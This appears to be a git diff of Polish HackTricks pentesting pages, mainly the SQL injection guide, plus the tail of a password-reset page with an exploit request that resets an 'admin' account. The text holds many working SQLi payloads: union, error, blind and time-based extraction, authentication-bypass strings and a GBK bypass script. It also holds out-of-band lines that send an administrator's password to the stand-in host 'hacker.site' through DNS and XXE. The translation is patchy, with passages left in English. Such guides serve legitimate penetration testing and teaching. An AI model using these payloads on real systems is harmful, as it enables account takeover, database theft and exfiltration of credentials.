Niektóre implementacje udostępniają akcję zmiany hasła, która wywołuje procedurę zmiany hasła z skipOldPwdCheck=true i nie weryfikuje żadnego tokena resetu ani własności. Jeśli endpoint akceptuje parametr action taki jak change_password oraz username/nowe hasło w ciele żądania, atakujący może zresetować dowolne konto przed uwierzytelnieniem.
|
||||
|
||||
Podatny wzorzec (PHP):
|
||||
```php
|
||||
// hub/rpwd.php
|
||||
RequestHandler::validateCSRFToken();
|
||||
$RP = new RecoverPwd();
|
||||
$RP->process($_REQUEST, $_POST);
|
||||
|
||||
// modules/Users/RecoverPwd.php
|
||||
if ($request['action'] == 'change_password') {
|
||||
$body = $this->displayChangePwd($smarty, $post['user_name'], $post['confirm_new_password']);
|
||||
}
|
||||
|
||||
public function displayChangePwd($smarty, $username, $newpwd) {
|
||||
$current_user = CRMEntity::getInstance('Users');
|
||||
$current_user->id = $current_user->retrieve_user_id($username);
|
||||
// ... criteria checks omitted ...
|
||||
$current_user->change_password('oldpwd', $_POST['confirm_new_password'], true, true); // skipOldPwdCheck=true
|
||||
emptyUserAuthtokenKey($this->user_auth_token_type, $current_user->id);
|
||||
}
|
||||
```
|
||||
Żądanie eksploatacji (koncepcja):
|
||||
```http
|
||||
POST /hub/rpwd.php HTTP/1.1
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd!
|
||||
```
|
||||
Środki zaradcze:
|
||||
- Zawsze wymagaj ważnego, ograniczonego w czasie reset token powiązanego z kontem i sesją przed zmianą hasła.
|
||||
- Nigdy nie eksponuj ścieżek skipOldPwdCheck dla niezalogowanych użytkowników; wymuszaj uwierzytelnienie przy zwykłych zmianach hasła i weryfikuj stare hasło.
|
||||
- Unieważnij wszystkie aktywne sesje i reset tokens po zmianie hasła.
|
||||
|
||||
## Źródła
|
||||
|
||||
- [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
|
||||
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -4,11 +4,11 @@
|
||||
|
||||
## Czym jest SQL injection?
|
||||
|
||||
**SQL injection** to luka w zabezpieczeniach, która pozwala atakującym na **ingerencję w zapytania do bazy danych** aplikacji. Ta podatność może umożliwić atakującym **wyświetlanie**, **modyfikowanie** lub **usuwanie** danych, do których nie powinni mieć dostępu, w tym informacji innych użytkowników lub jakichkolwiek danych, do których aplikacja ma dostęp. Takie działania mogą prowadzić do trwałych zmian w funkcjonalności lub treści aplikacji, a nawet do kompromitacji serwera lub odmowy usługi.
|
||||
**SQL injection** to luka bezpieczeństwa, która pozwala atakującym **ingerować w zapytania do bazy danych** aplikacji. Ta podatność może umożliwić atakującym **przeglądanie**, **modyfikowanie** lub **usuwanie** danych, do których nie powinni mieć dostępu, w tym informacji innych użytkowników lub jakichkolwiek danych dostępnych dla aplikacji. Takie działania mogą skutkować trwałymi zmianami w funkcjonalności lub zawartości aplikacji, a nawet kompromitacją serwera lub odmową usługi.
|
||||
|
||||
## Wykrywanie punktów wejścia
|
||||
## Wykrywanie punktu wejścia
|
||||
|
||||
Gdy strona wydaje się być **podatna na SQL injection (SQLi)** z powodu nietypowych odpowiedzi serwera na dane wejściowe związane z SQLi, **pierwszym krokiem** jest zrozumienie, jak **wstrzyknąć dane do zapytania bez zakłócania go**. Wymaga to zidentyfikowania metody, aby **skutecznie wydostać się z bieżącego kontekstu**. Oto kilka przydatnych przykładów:
|
||||
Kiedy strona wydaje się być **podatna na SQL injection (SQLi)** z powodu nietypowych odpowiedzi serwera na wejścia związane z SQLi, **pierwszym krokiem** jest zrozumienie, jak **wstrzyknąć dane do zapytania bez jego zakłócenia**. To wymaga zidentyfikowania metody skutecznego **ucieczki z bieżącego kontekstu**. Oto kilka przydatnych przykładów:
|
||||
```
|
||||
[Nothing]
|
||||
'
|
||||
@ -21,9 +21,9 @@ Gdy strona wydaje się być **podatna na SQL injection (SQLi)** z powodu nietypo
|
||||
"))
|
||||
`))
|
||||
```
|
||||
Następnie musisz wiedzieć, jak **naprawić zapytanie, aby nie było błędów**. Aby naprawić zapytanie, możesz **wprowadzić** dane, aby **poprzednie zapytanie zaakceptowało nowe dane**, lub możesz po prostu **wprowadzić** swoje dane i **dodać symbol komentarza na końcu**.
|
||||
Następnie musisz wiedzieć, jak **naprawić query, żeby nie było błędów**. Aby naprawić query możesz **input** dane tak, aby **poprzednie query zaakceptowało nowe dane**, albo możesz po prostu **input** swoje dane i **dodać symbol komentarza na końcu**.
|
||||
|
||||
_Note that if you can see error messages or you can spot differences when a query is working and when it's not this phase will be more easy._
|
||||
_Zauważ, że jeśli widzisz komunikaty o błędach lub potrafisz dostrzec różnice, gdy query działa, a gdy nie, ta faza będzie łatwiejsza._
|
||||
|
||||
### **Komentarze**
|
||||
```sql
|
||||
@ -53,21 +53,21 @@ HQL does not support comments
|
||||
```
|
||||
### Potwierdzanie za pomocą operacji logicznych
|
||||
|
||||
Wiarygodną metodą potwierdzenia podatności na SQL injection jest wykonanie **operacji logicznej** i obserwowanie oczekiwanych wyników. Na przykład, parametr GET taki jak `?username=Peter`, który zwraca identyczną treść po modyfikacji na `?username=Peter' or '1'='1`, wskazuje na podatność na SQL injection.
|
||||
Niezawodną metodą potwierdzenia podatności na SQL injection jest wykonanie **operacji logicznej** i obserwowanie oczekiwanych wyników. Na przykład parametr GET taki jak `?username=Peter`, zwracający identyczną zawartość po zmianie na `?username=Peter' or '1'='1`, wskazuje na podatność na SQL injection.
|
||||
|
||||
Podobnie, zastosowanie **operacji matematycznych** służy jako skuteczna technika potwierdzająca. Na przykład, jeśli dostęp do `?id=1` i `?id=2-1` daje ten sam wynik, to wskazuje na SQL injection.
|
||||
Podobnie zastosowanie **operacji matematycznych** stanowi skuteczną technikę potwierdzenia. Na przykład, jeśli dostęp do `?id=1` i `?id=2-1` zwraca ten sam wynik, wskazuje to na SQL injection.
|
||||
|
||||
Przykłady ilustrujące potwierdzenie operacji logicznej:
|
||||
Przykłady demonstrujące potwierdzenie przez operacje logiczne:
|
||||
```
|
||||
page.asp?id=1 or 1=1 -- results in true
|
||||
page.asp?id=1' or 1=1 -- results in true
|
||||
page.asp?id=1" or 1=1 -- results in true
|
||||
page.asp?id=1 and 1=2 -- results in false
|
||||
```
|
||||
Ta lista słów została stworzona, aby spróbować **potwierdzić SQLinjections** w zaproponowany sposób:
|
||||
Ta lista słów została stworzona, aby spróbować **potwierdzić SQLinjections** zaproponowaną metodą:
|
||||
|
||||
<details>
|
||||
<summary>Prawdziwe SQLi</summary>
|
||||
<summary>True SQLi</summary>
|
||||
```
|
||||
true
|
||||
1
|
||||
@ -154,10 +154,10 @@ true
|
||||
```
|
||||
</details>
|
||||
|
||||
### Potwierdzanie za pomocą czasu
|
||||
### Potwierdzanie przez pomiar czasu
|
||||
|
||||
W niektórych przypadkach **nie zauważysz żadnej zmiany** na stronie, którą testujesz. Dlatego dobrym sposobem na **odkrycie ślepych SQL injection** jest zmuszenie bazy danych do wykonania działań, które będą miały **wpływ na czas** ładowania strony.\
|
||||
Dlatego w SQL zapytaniu dodamy operację, która zajmie dużo czasu na zakończenie:
|
||||
W niektórych przypadkach **nie zauważysz żadnej zmiany** na stronie, którą testujesz. Dlatego dobrym sposobem na **wykrycie blind SQL injections** jest zmuszenie DB do wykonania działań, które będą miały **wpływ na czas** ładowania strony.\
|
||||
Dlatego zamierzamy concat w SQL query operację, która zajmie dużo czasu, aby się wykonać:
|
||||
```
|
||||
MySQL (string concat and logical ops)
|
||||
1' + sleep(10)
|
||||
@ -179,11 +179,11 @@ SQLite
|
||||
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
|
||||
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
|
||||
```
|
||||
W niektórych przypadkach **funkcje sleep nie będą dozwolone**. Wtedy, zamiast używać tych funkcji, możesz sprawić, że zapytanie **wykona złożone operacje**, które zajmą kilka sekund. _Przykłady tych technik będą komentowane osobno dla każdej technologii (jeśli takie będą)_.
|
||||
W niektórych przypadkach **funkcje sleep nie będą dozwolone**. Wtedy, zamiast używać tych funkcji, możesz spowodować, że zapytanie **wykona złożone operacje**, które zajmą kilka sekund. _Przykłady tych technik będą omawiane osobno dla każdej technologii (jeśli występują)_.
|
||||
|
||||
### Identyfikacja Back-endu
|
||||
|
||||
Najlepszym sposobem na identyfikację back-endu jest próba wykonania funkcji różnych back-endów. Możesz użyć _**funkcji sleep**_ z poprzedniej sekcji lub tych (tabela z [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
|
||||
Najlepszym sposobem na identyfikację back-endu jest próba wykonania funkcji różnych back-endów. Możesz użyć _**sleep**_ **funkcji** z poprzedniej sekcji lub tych (tabela z [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
|
||||
```bash
|
||||
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
|
||||
["connection_id()=connection_id()" ,"MYSQL"],
|
||||
@ -211,29 +211,29 @@ Najlepszym sposobem na identyfikację back-endu jest próba wykonania funkcji r
|
||||
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
|
||||
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
|
||||
```
|
||||
Również, jeśli masz dostęp do wyniku zapytania, możesz **wydrukować wersję bazy danych**.
|
||||
Also, jeśli masz dostęp do wyjścia zapytania, możesz spowodować, żeby **wyświetliło wersję bazy danych**.
|
||||
|
||||
> [!TIP]
|
||||
> W kontynuacji omówimy różne metody wykorzystania różnych rodzajów SQL Injection. Użyjemy MySQL jako przykładu.
|
||||
> W dalszej części omówimy różne metody eksploatacji różnych rodzajów SQL Injection. Jako przykład użyjemy MySQL.
|
||||
|
||||
### Identyfikacja z PortSwigger
|
||||
### Identyfikacja przy użyciu PortSwigger
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://portswigger.net/web-security/sql-injection/cheat-sheet
|
||||
{{#endref}}
|
||||
|
||||
## Wykorzystywanie oparte na Union
|
||||
## Wykorzystywanie Union Based
|
||||
|
||||
### Wykrywanie liczby kolumn
|
||||
|
||||
Jeśli możesz zobaczyć wynik zapytania, to jest najlepszy sposób na jego wykorzystanie.\
|
||||
Przede wszystkim musimy ustalić **liczbę** **kolumn**, które **początkowe zapytanie** zwraca. Dzieje się tak, ponieważ **oba zapytania muszą zwracać tę samą liczbę kolumn**.\
|
||||
Do tego celu zazwyczaj stosuje się dwie metody:
|
||||
Jeśli możesz zobaczyć wynik zapytania, to jest to najlepszy sposób na jego exploitację.\
|
||||
Najpierw musimy ustalić **liczbę** **kolumn**, które zwraca **początkowe żądanie**. Dzieje się tak, ponieważ **oba zapytania muszą zwracać tę samą liczbę kolumn**.\
|
||||
Do tego celu zwykle stosuje się dwie metody:
|
||||
|
||||
#### Order/Group by
|
||||
|
||||
Aby określić liczbę kolumn w zapytaniu, stopniowo dostosowuj liczbę używaną w klauzulach **ORDER BY** lub **GROUP BY**, aż otrzymasz fałszywą odpowiedź. Mimo że **GROUP BY** i **ORDER BY** mają różne funkcjonalności w SQL, obie mogą być wykorzystywane w ten sam sposób do ustalenia liczby kolumn w zapytaniu.
|
||||
Aby określić liczbę kolumn w zapytaniu, stopniowo zwiększaj liczbę używaną w klauzulach **ORDER BY** lub **GROUP BY**, aż otrzymasz fałszywą odpowiedź. Pomimo odmiennych funkcji **GROUP BY** i **ORDER BY** w SQL, obie można wykorzystać w identyczny sposób do ustalenia liczby kolumn zwracanych przez zapytanie.
|
||||
```sql
|
||||
1' ORDER BY 1--+ #True
|
||||
1' ORDER BY 2--+ #True
|
||||
@ -251,17 +251,17 @@ Aby określić liczbę kolumn w zapytaniu, stopniowo dostosowuj liczbę używan
|
||||
```
|
||||
#### UNION SELECT
|
||||
|
||||
Wybierz coraz więcej wartości null, aż zapytanie będzie poprawne:
|
||||
Select coraz więcej wartości null, aż zapytanie będzie poprawne:
|
||||
```sql
|
||||
1' UNION SELECT null-- - Not working
|
||||
1' UNION SELECT null,null-- - Not working
|
||||
1' UNION SELECT null,null,null-- - Worked
|
||||
```
|
||||
_You should use `null`values as in some cases the type of the columns of both sides of the query must be the same and null is valid in every case._
|
||||
_Powinieneś używać wartości `null`, ponieważ w niektórych przypadkach typ kolumn po obu stronach zapytania musi być taki sam, a null jest poprawny w każdym przypadku._
|
||||
|
||||
### Wyciąganie nazw baz danych, nazw tabel i nazw kolumn
|
||||
### Wyodrębnianie nazw baz danych, nazw tabel i nazw kolumn
|
||||
|
||||
W następnych przykładach zamierzamy pobrać nazwę wszystkich baz danych, nazwę tabeli w bazie danych oraz nazwy kolumn tabeli:
|
||||
W poniższych przykładach pobierzemy nazwy wszystkich baz danych, nazwę tabeli z danej bazy oraz nazwy kolumn tabeli:
|
||||
```sql
|
||||
#Database names
|
||||
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
|
||||
@ -272,67 +272,67 @@ W następnych przykładach zamierzamy pobrać nazwę wszystkich baz danych, nazw
|
||||
#Column names
|
||||
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
|
||||
```
|
||||
_Inny sposób odkrywania tych danych istnieje w każdej różnej bazie danych, ale metodologia zawsze jest ta sama._
|
||||
_Istnieje inny sposób odkrywania tych danych w każdej bazie danych, ale metodologia jest zawsze ta sama._
|
||||
|
||||
## Wykorzystywanie ukrytej injekcji opartej na unii
|
||||
## Exploiting Hidden Union Based
|
||||
|
||||
Gdy wynik zapytania jest widoczny, ale injekcja oparta na unii wydaje się nieosiągalna, oznacza to obecność **ukrytej injekcji opartej na unii**. Taki scenariusz często prowadzi do sytuacji z niewidoczną injekcją. Aby przekształcić niewidoczną injekcję w injekcję opartą na unii, należy rozpoznać zapytanie wykonawcze w zapleczu.
|
||||
When the output of a query is visible, but a union-based injection seems unachievable, it signifies the presence of a **hidden union-based injection**. This scenario often leads to a blind injection situation. To transform a blind injection into a union-based one, the execution query on the backend needs to be discerned.
|
||||
|
||||
Można to osiągnąć za pomocą technik niewidocznej injekcji wraz z domyślnymi tabelami specyficznymi dla twojego systemu zarządzania bazą danych (DBMS). Aby zrozumieć te domyślne tabele, zaleca się zapoznanie się z dokumentacją docelowego DBMS.
|
||||
This can be accomplished through the use of blind injection techniques alongside the default tables specific to your target Database Management System (DBMS). For understanding these default tables, consulting the documentation of the target DBMS is advised.
|
||||
|
||||
Gdy zapytanie zostanie wyodrębnione, konieczne jest dostosowanie ładunku, aby bezpiecznie zamknąć oryginalne zapytanie. Następnie do twojego ładunku dodawane jest zapytanie unii, co ułatwia wykorzystanie nowo dostępnej injekcji opartej na unii.
|
||||
Once the query has been extracted, it's necessary to tailor your payload to safely close the original query. Subsequently, a union query is appended to your payload, facilitating the exploitation of the newly accessible union-based injection.
|
||||
|
||||
Aby uzyskać bardziej szczegółowe informacje, zapoznaj się z pełnym artykułem dostępnym pod adresem [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).
|
||||
For more comprehensive insights, refer to the complete article available at [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).
|
||||
|
||||
## Wykorzystywanie opartej na błędach
|
||||
## Exploiting Error based
|
||||
|
||||
Jeśli z jakiegoś powodu **nie możesz** zobaczyć **wyniku** **zapytania**, ale możesz **widzieć komunikaty o błędach**, możesz wykorzystać te komunikaty o błędach do **ekstrahowania** danych z bazy danych.\
|
||||
Podążając podobnym tokiem jak w przypadku wykorzystania opartego na unii, możesz zdołać zrzucić bazę danych.
|
||||
If for some reason you **nie możesz** see the **output** of the **query** but you can **zobaczyć error messages**, you can make this error messages to **ex-filtrate** data from the database.\
|
||||
Following a similar flow as in the Union Based exploitation you could manage to dump the DB.
|
||||
```sql
|
||||
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
|
||||
```
|
||||
## Wykorzystywanie Blind SQLi
|
||||
## Exploiting Blind SQLi
|
||||
|
||||
W tym przypadku nie możesz zobaczyć wyników zapytania ani błędów, ale możesz **rozróżnić**, kiedy zapytanie **zwraca** odpowiedź **prawda** lub **fałsz**, ponieważ na stronie są różne treści.\
|
||||
W tym przypadku możesz wykorzystać to zachowanie, aby zrzucić bazę danych znak po znaku:
|
||||
W tym przypadku nie możesz zobaczyć wyników zapytania ani błędów, ale możesz **rozróżnić**, kiedy zapytanie **zwraca** odpowiedź **true** lub **false**, ponieważ na stronie pojawiają się różne treści.\
|
||||
W takim przypadku możesz wykorzystać to zachowanie, aby zrzucać bazę danych znak po znaku:
|
||||
```sql
|
||||
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
|
||||
```
|
||||
## Wykorzystywanie Error Blind SQLi
|
||||
|
||||
To **ten sam przypadek co wcześniej**, ale zamiast rozróżniać odpowiedź prawda/fałsz z zapytania, możesz **rozróżniać** czy wystąpił **błąd** w zapytaniu SQL, czy nie (może dlatego, że serwer HTTP się zawiesza). Dlatego w tym przypadku możesz wymusić błąd SQL za każdym razem, gdy poprawnie zgadniesz znak:
|
||||
To jest **ten sam przypadek co wcześniej**, ale zamiast rozróżniać odpowiedź true/false z zapytania możesz **rozróżnić**, czy występuje **błąd** w zapytaniu SQL czy nie (może dlatego, że serwer HTTP się zawiesza). Dlatego w tym przypadku możesz wymusić SQLerror za każdym razem, gdy poprawnie odgadniesz char:
|
||||
```sql
|
||||
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
|
||||
```
|
||||
## Wykorzystywanie SQLi opartego na czasie
|
||||
## Exploiting Time Based SQLi
|
||||
|
||||
W tym przypadku **nie ma** sposobu, aby **rozróżnić** **odpowiedź** zapytania na podstawie kontekstu strony. Jednak możesz sprawić, że strona **będzie ładować się dłużej**, jeśli zgadnięty znak jest poprawny. Już wcześniej widzieliśmy tę technikę w użyciu, aby [potwierdzić lukę SQLi](#confirming-with-timing).
|
||||
W tym przypadku **nie ma** żadnego sposobu, aby **rozróżnić** **odpowiedź** zapytania na podstawie kontekstu strony. Jednak możesz sprawić, że strona będzie się **ładować dłużej**, jeśli odgadnięty znak jest poprawny. Widzieliśmy już wcześniej użycie tej techniki, aby [confirm a SQLi vuln](#confirming-with-timing).
|
||||
```sql
|
||||
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
|
||||
```
|
||||
## Stacked Queries
|
||||
|
||||
Możesz użyć stacked queries, aby **wykonać wiele zapytań z rzędu**. Zauważ, że podczas gdy kolejne zapytania są wykonywane, **wyniki** **nie są zwracane do aplikacji**. Dlatego ta technika jest głównie użyteczna w odniesieniu do **ślepych luk** bezpieczeństwa, gdzie możesz użyć drugiego zapytania do wywołania zapytania DNS, błędu warunkowego lub opóźnienia czasowego.
|
||||
Możesz użyć stacked queries, aby **wykonać wiele zapytań jedno po drugim**. Zauważ, że chociaż kolejne zapytania są wykonywane, **wyniki** **nie są zwracane do aplikacji**. Stąd ta technika jest przede wszystkim użyteczna w odniesieniu do **blind vulnerabilities**, gdzie możesz użyć drugiego zapytania, aby wywołać DNS lookup, warunkowy błąd lub opóźnienie czasowe.
|
||||
|
||||
**Oracle** nie obsługuje **stacked queries.** **MySQL, Microsoft** i **PostgreSQL** je obsługują: `QUERY-1-HERE; QUERY-2-HERE`
|
||||
|
||||
## Out of band Exploitation
|
||||
|
||||
Jeśli **żaden inny** sposób eksploatacji **nie zadziałał**, możesz spróbować sprawić, aby **baza danych ex-filtruje** informacje do **zewnętrznego hosta** kontrolowanego przez ciebie. Na przykład, za pomocą zapytań DNS:
|
||||
Jeśli **no-other** exploitation method **worked**, możesz spróbować sprawić, aby **database ex-filtrate** informacje do **external host** kontrolowanego przez Ciebie. Na przykład, za pomocą zapytań DNS:
|
||||
```sql
|
||||
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
|
||||
```
|
||||
### Ekstrakcja danych poza pasmem za pomocą XXE
|
||||
### Eksfiltracja danych poza pasmem za pomocą XXE
|
||||
```sql
|
||||
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
|
||||
```
|
||||
## Zautomatyzowane wykorzystanie
|
||||
## Zautomatyzowana eksploatacja
|
||||
|
||||
Sprawdź [SQLMap Cheatsheet](sqlmap/index.html), aby wykorzystać lukę SQLi za pomocą [**sqlmap**](https://github.com/sqlmapproject/sqlmap).
|
||||
Sprawdź [SQLMap Cheatsheet](sqlmap/index.html), aby wykorzystać podatność SQLi za pomocą [**sqlmap**](https://github.com/sqlmapproject/sqlmap).
|
||||
|
||||
## Informacje techniczne
|
||||
## Informacje specyficzne dla technologii
|
||||
|
||||
Omówiliśmy już wszystkie sposoby wykorzystania luki SQL Injection. Znajdź więcej sztuczek zależnych od technologii bazy danych w tej książce:
|
||||
Omówiliśmy już wszystkie sposoby wykorzystania podatności SQL Injection. Znajdź więcej sztuczek zależnych od technologii bazy danych w tej książce:
|
||||
|
||||
- [MS Access](ms-access-sql-injection.md)
|
||||
- [MSSQL](mssql-injection.md)
|
||||
@ -340,42 +340,42 @@ Omówiliśmy już wszystkie sposoby wykorzystania luki SQL Injection. Znajdź wi
|
||||
- [Oracle](oracle-injection.md)
|
||||
- [PostgreSQL](postgresql-injection/index.html)
|
||||
|
||||
Lub znajdziesz **wiele sztuczek dotyczących: MySQL, PostgreSQL, Oracle, MSSQL, SQLite i HQL w** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
|
||||
Możesz też znaleźć **wiele sztuczek dotyczących: MySQL, PostgreSQL, Oracle, MSSQL, SQLite i HQL w** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
|
||||
|
||||
## Ominięcie uwierzytelniania
|
||||
## Omijanie uwierzytelniania
|
||||
|
||||
Lista do próby ominięcia funkcji logowania:
|
||||
Lista do wypróbowania, aby obejść funkcję logowania:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../login-bypass/sql-login-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
### Ominięcie uwierzytelniania za pomocą surowego hasha
|
||||
### Raw hash authentication Bypass
|
||||
```sql
|
||||
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
|
||||
```
|
||||
To zapytanie pokazuje lukę, gdy MD5 jest używane z wartością true dla surowego wyjścia w kontrolach uwierzytelniania, co sprawia, że system jest podatny na SQL injection. Atakujący mogą to wykorzystać, tworząc dane wejściowe, które po zhashowaniu generują nieoczekiwane części poleceń SQL, prowadząc do nieautoryzowanego dostępu.
|
||||
To zapytanie pokazuje podatność, gdy MD5 jest używany z true dla surowego wyjścia w kontrolach uwierzytelniania, co czyni system podatnym na SQL injection. Atakujący mogą to wykorzystać, tworząc dane wejściowe, które po zahashowaniu generują nieoczekiwane fragmenty poleceń SQL, prowadząc do nieautoryzowanego dostępu.
|
||||
```sql
|
||||
md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b<EFBFBD>
|
||||
sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
|
||||
```
|
||||
### Ominięcie uwierzytelniania za pomocą wstrzykniętego hasha
|
||||
### Injected hash authentication Bypass
|
||||
```sql
|
||||
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
|
||||
```
|
||||
**Zalecana lista**:
|
||||
|
||||
Powinieneś używać jako nazwy użytkownika każdej linii z listy, a jako hasła zawsze: _**Pass1234.**_\
|
||||
_(Te ładunki są również zawarte w dużej liście wspomnianej na początku tej sekcji)_
|
||||
Użyj jako username każdej linii listy i jako password zawsze: _**Pass1234.**_\
|
||||
_(Te payloads są również zawarte w dużej liście wspomnianej na początku tej sekcji)_
|
||||
|
||||
{{#file}}
|
||||
sqli-hashbypass.txt
|
||||
{{#endfile}}
|
||||
|
||||
### Ominięcie uwierzytelniania GBK
|
||||
### GBK Authentication Bypass
|
||||
|
||||
JEŚLI ' jest escape'owane, możesz użyć %A8%27, a gdy ' zostanie escape'owane, zostanie utworzone: 0xA80x5c0x27 (_╘'_)
|
||||
Jeśli ' jest escaped, możesz użyć %A8%27, a gdy ' zostanie escaped, powstanie: 0xA80x5c0x27 (_╘'_)
|
||||
```sql
|
||||
%A8%27 OR 1=1;-- 2
|
||||
%8C%A8%27 OR 1=1-- 2
|
||||
@ -390,72 +390,78 @@ datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
|
||||
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
|
||||
print r.text
|
||||
```
|
||||
### Wstrzykiwanie poliglotowe (multikontekstowe)
|
||||
### Polyglot injection (multicontext)
|
||||
```sql
|
||||
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
|
||||
```
|
||||
## Insert Statement
|
||||
## Instrukcja INSERT
|
||||
|
||||
### Zmiana hasła istniejącego obiektu/użytkownika
|
||||
|
||||
Aby to zrobić, powinieneś spróbować **utworzyć nowy obiekt o nazwie "obiekt główny"** (prawdopodobnie **admin** w przypadku użytkowników) modyfikując coś:
|
||||
Aby to zrobić, spróbuj **utworzyć nowy obiekt o nazwie takiej jak "master object"** (prawdopodobnie **admin** w przypadku użytkowników), modyfikując coś:
|
||||
|
||||
- Utwórz użytkownika o nazwie: **AdMIn** (wielkie i małe litery)
|
||||
- Utwórz użytkownika o nazwie: **AdMIn** (wielkie & małe litery)
|
||||
- Utwórz użytkownika o nazwie: **admin=**
|
||||
- **Atak Truncation SQL** (gdy istnieje jakiś **limit długości** w nazwie użytkownika lub e-mailu) --> Utwórz użytkownika o nazwie: **admin \[dużo spacji] a**
|
||||
- **SQL Truncation Attack** (gdy istnieje jakiś **limit długości** w nazwie użytkownika lub emailu) --> Utwórz użytkownika o nazwie: **admin \[a lot of spaces] a**
|
||||
|
||||
#### Atak Truncation SQL
|
||||
#### SQL Truncation Attack
|
||||
|
||||
Jeśli baza danych jest podatna, a maksymalna liczba znaków dla nazwy użytkownika wynosi na przykład 30 i chcesz podszyć się pod użytkownika **admin**, spróbuj utworzyć nazwę użytkownika: "_admin \[30 spacji] a_" i dowolne hasło.
|
||||
If the database is vulnerable and the max number of chars for username is for example 30 and you want to impersonate the user **admin**, try to create a username called: "_admin \[30 spaces] a_" and any password.
|
||||
|
||||
Baza danych **sprawdzi**, czy wprowadzona **nazwa użytkownika** **istnieje** w bazie danych. Jeśli **nie**, **przetnie** **nazwę użytkownika** do **maksymalnej dozwolonej liczby znaków** (w tym przypadku do: "_admin \[25 spacji]_") i automatycznie **usunie wszystkie spacje na końcu, aktualizując** w bazie danych użytkownika "**admin**" z **nowym hasłem** (może pojawić się jakiś błąd, ale to nie oznacza, że to nie zadziałało).
|
||||
The database will **check** if the introduced **username** **exists** inside the database. If **not**, it will **cut** the **username** to the **max allowed number of characters** (in this case to: "_admin \[25 spaces]_") and the it will **automatically remove all the spaces at the end updating** inside the database the user "**admin**" with the **new password** (some error could appear but it doesn't means that this hasn't worked).
|
||||
|
||||
Więcej informacji: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
|
||||
More info: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
|
||||
|
||||
_Uwaga: Ten atak nie będzie już działał tak, jak opisano powyżej w najnowszych instalacjach MySQL. Chociaż porównania nadal ignorują białe znaki na końcu domyślnie, próba wstawienia ciągu, który jest dłuższy niż długość pola, spowoduje błąd, a wstawienie nie powiedzie się. Więcej informacji na ten temat:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
|
||||
_Uwaga: Ten atak nie będzie już działać w sposób opisany powyżej w najnowszych instalacjach MySQL. Chociaż porównania nadal domyślnie ignorują końcowe spacje, próba wstawienia łańcucha dłuższego niż długość pola spowoduje błąd, a wstawienie się nie powiedzie. Aby uzyskać więcej informacji o tej kontroli:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
|
||||
|
||||
### MySQL Insert time based checking
|
||||
|
||||
